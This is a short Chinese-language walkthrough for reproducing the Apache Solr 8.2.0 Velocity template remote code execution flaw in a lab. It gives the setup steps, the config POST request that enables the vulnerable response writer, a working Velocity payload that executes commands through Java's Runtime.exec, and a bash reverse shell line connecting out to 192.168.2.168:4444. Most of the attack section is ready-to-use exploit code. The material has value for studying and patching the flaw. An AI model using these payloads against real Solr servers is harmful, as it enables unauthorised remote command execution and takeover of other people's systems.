前言
复现此漏洞可以在win平台搭建环境,但我建议在linux下搭建,因为可以接触到不一样的bash反弹shell姿势。
环境搭建
https://archive.apache.org/dist/lucene/solr/8.2.0/ 下载到linux上后。
cd solr-8.2.0/bin/
./solr start -p 8984 -force # 启动solr
访问http://127.0.0.1:8984/
因为刚开始安装是没有配置core值的,需要将server/solr/configsets/_default/conf/复制到 server/solr/
cp server/solr/configsets/_default/conf/ -r server/solr/core
如下图所示,然后点击add core
访问http://127.0.0.1:8984/solr/core/config 这两行都是true才能后面的利用
本地利用
首先发送数据包
POST /solr/core/config HTTP/1.1
Host: 192.168.127.132:8984 # 注意这里的ip地址
Content-Type: application/json
Content-Length: 259
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
测试payload为
/solr/core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
中间的exec(‘payload’),payload为执行的命令
bash反弹shell
当payload存在 |,<,>等符号就会报错无法执行,所以原来的payload为:/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.168/4444 0>&1'
,要经过处理。
访问http://www.jackson-t.ca/runtime-exec-payloads.html ,填入转换后的payload
即可成功用bash反弹shell